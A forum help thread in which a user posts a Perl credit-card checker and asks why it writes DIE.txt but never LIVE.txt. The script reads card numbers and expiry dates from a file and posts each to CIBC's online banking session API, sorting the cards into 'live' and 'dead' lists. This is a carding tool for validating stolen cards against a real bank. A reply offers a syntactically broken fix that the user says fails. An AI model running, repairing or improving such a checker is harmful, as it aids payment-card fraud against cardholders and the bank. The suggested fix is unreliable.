the Live.txt doesnot created
cup (0)

i have this script : the die.txt created but live.txt doesnot created why ?
#Louis Armstrong - What a Wonderful World
#John Lennon - Imagine
#Anarquista ? Apenas tenho uma maneira racional de como o mundo deveria realmente ser !
#Feito por @TheQueen; edita não comédia !
use Win32::Console::ANSI;
use Term::ANSIColor;
sub TestarManualmente{
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
print "\nNUMERO DO CARTAO: ";
$cartao = <STDIN>;
print "MES DO CARTAO: ";
$mes = <STDIN>;
print "ANO DO CARTAO: ";
$ano = <STDIN>;
chop($cartao);
chop($mes);
chop($ano);
my $server_endpoint = "https://www.cibconline.cibc.com/ebm-anp/api/v1/json/sessions";

$ua->agent('Mozilla/5.0'); 
my $req = HTTP::Request->new(POST => $server_endpoint);
$req->header('Host' => 'www.cibconline.cibc.com');
$req->header('WWW-Authenticate' => 'CardAndExpiryDate');
$req->header('X-Requested-With' => 'XMLHttpRequest');
$req->header('Accept' => 'application/vnd.api+json');
$req->header('Content-Type' => 'application/vnd.api+json');
$req->header('X-Auth-Token' => 'null');
$req->header('brand' => 'cibc');
$req->header('Client-Type' => 'default_web');
$req->header('Referer' => 'https://www.cibconline.cibc.com/ebm-resources/public/banking/cibc/client/web/index.html');
$req->header('Accept-Encoding' => 'gzip, deflate, br');
$res = $ua->request($req);

my $post_data = '{"card":{"value":"'. $cartao .'","description":"","encrypted":"false","encrypt":"true"},"expiryDate":{"year":"' . $ano . '","month":"' . $mes . '"},"txType":"REGIST"}';
$req->content($post_data);

my $resp = $ua->request($req);

if(index($resp->decoded_content, '{"transactionId":"') != -1){
	print "APROVADA !!";
}else{
	print "REPROVADA !!";
}

}

sub str_replace {
my $replace_this = shift;
my $with_this = shift;
my $string = shift;

my $length = length($string);
my $target = length($replace_this);

for(my $i=0; $i<$length - $target + 1; $i++) {
	if(substr($string,$i,$target) eq $replace_this) {
		$string = substr($string,0,$i) . $with_this . substr($string,$i+$target);
		return $string; #Comment this if you what a global replace
	}
}
return $string;

}

sub TestarAutomaticamente{
use strict;
use warnings;
use Data::Dumper qw(Dumper);
$| ++;

my $msg = "";
print color("bold red"), "SCRIPT RODANDO !", color("reset"), "\n";
my $filename = 'ccn.txt';
if (open(my $fh, '<:encoding(UTF-8)', $filename)) {
open(my $fhH, '<:encoding(UTF-8)', $filename);
my $contagem = 1;
my $numerodecontagem = 0;
while (my $row2 = <$fhH>) {

	$numerodecontagem++;

}
while (my $row = <$fh>) {
chomp $row;
#SPLITAR 1 POR 1
my $cardzinho = substr($row, 0, index($row, "|") + 1);
my $row2 = str_replace($cardzinho,'',$row); 
my $meszinho = substr($row2, 0, index($row2, "|") + 1);
my $row3 = str_replace($meszinho,'',$row2); 
my $anozinho = substr($row3, 0, index($row3, "|"));
chop($cardzinho);
chop($meszinho);
#FIM SPLITAR 1 POR 1 // DESENVOLVIDO POR THEQUEEN

use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $server_endpoint = "https://www.cibconline.cibc.com/ebm-anp/api/v1/json/sessions";
 

$ua->agent('Mozilla/5.0'); 
my $req = HTTP::Request->new(POST => $server_endpoint);
$req->header('Host' => 'www.cibconline.cibc.com');
$req->header('WWW-Authenticate' => 'CardAndExpiryDate');
$req->header('X-Requested-With' => 'XMLHttpRequest');
$req->header('Accept' => 'application/vnd.api+json');
$req->header('Content-Type' => 'application/vnd.api+json');
$req->header('X-Auth-Token' => 'null');
$req->header('brand' => 'cibc');
$req->header('Client-Type' => 'default_web');
$req->header('Referer' => 'https://www.cibconline.cibc.com/ebm-resources/public/banking/cibc/client/web/index.html');
$req->header('Accept-Encoding' => 'gzip, deflate, br');
my $res = $ua->request($req);

my $post_data = '{"card":{"value":"'. $cardzinho .'","description":"","encrypted":"false","encrypt":"true"},"expiryDate":{"year":"' . $anozinho . '","month":"' . $meszinho . '"},"txType":"REGIST"}';
$req->content($post_data);

my $resp = $ua->request($req);

if(index($resp->decoded_content, '{"transactionId":"') != -1){
	open(my $fhg2, '>>', 'LIVE.txt');
	print $fhg2 "LIVE $cardzinho|$meszinho|$anozinho|000\n";
	print "TESTADA COM SUCESSO $contagem", '/', $numerodecontagem, "\n";
}else{
	open(my $fhg, '>>', 'DIE.txt');
	print $fhg "DIE $cardzinho|$meszinho|$anozinho|000\n";
	print "TESTADA COM SUCESSO $contagem", '/', $numerodecontagem, "\n";
}
$contagem++;

}
print "FINALIZADO !";
} else {
warn "Could not open file '$filename' $!";
}

}

print color("bold white"), "Selecione uma opcao\n", color("reset"), color("bold red"), "1 - Testa manualmente\n", color("reset"), color("bold green"), "2 - Testa de forma automatica e assincrona\n", color("reset"), color("bold white"), "Selecione 1 ou 2: ", color("bold green");
$opcao = <STDIN>;
if($opcao == 1){
print color("reset");
print "Opcao 1 escolhida com sucesso !\n";
TestarManualmente();
}elsif($opcao == 2){
print color("reset");
print "Opcao 2 escolhida com sucesso !\n";
TestarAutomaticamente();
}else{
print color("reset");
print "Você nao pode escolher uma Opcao que nao existe";

}

You are viewing a single comment. View All
JoshDaBosh (77)

check your logic line for the if statement:

try this line instead:
if(index($resp->decoded_content, '{"transactionId":"")' != -1){

cup (0)

if(index($resp->decoded_content, '{"transactionId":"")' != -1){

script : does not work (no run)

cup (0)

if(index($resp->decoded_content, '{"transactionId":""') != -1){

run and create die.txt only